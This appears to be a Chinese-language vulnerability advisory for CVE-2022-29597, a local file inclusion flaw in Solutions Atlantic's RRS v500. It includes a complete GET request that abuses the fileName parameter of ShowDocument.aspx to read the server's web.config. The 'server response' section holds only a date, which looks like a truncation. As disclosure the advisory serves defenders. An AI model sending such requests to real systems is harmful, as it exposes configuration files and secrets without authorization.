由 Solutions Atlantic 开发的 RRS v500 应用程序存在本地文件包含（LFI）漏洞。任何经过身份验证的用户都有能力在向 /RRSWeb/maint/ShowDocument/ShowDocument.aspx 页面发起的请求中引用内部系统文件。服务器将成功响应所请求的内部系统文件内容。这一能力可能使攻击者从底层文件系统中提取敏感数据和/或文件，获取系统内部运作信息，或访问应用程序源代码。
Mitre 网址：https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29597
NIST 网址：https://nvd.nist.gov/vuln/detail/CVE-2022-29597
受影响 URL：
/RRSWeb/maint/ShowDocument/ShowDocument.aspx当从 RRS 站点打开或下载 PDF 时，会向受影响的 URL 发出一个包含 fileName 参数的请求。该参数可被修改为包含内部系统路径，例如 web.config。然后服务器将提供所请求的文件。
包含 web.config 内部路径的 GET 请求：
GET /RRSWeb/maint/ShowDocument/ShowDocument.aspx?fileName=C:\\Program%20Files\\Solutions%20Atlantic\\RRS\\RRSWeb\\web.config HTTP/1.1
Host: <REDACTED>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://<REDACTED>/RRSweb/default.aspx
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _ga=<REDACTED>; ASP.NET_SessionId=<REDACTED>
Connection: Keep-Alive
服务器响应：
2022 年 4 月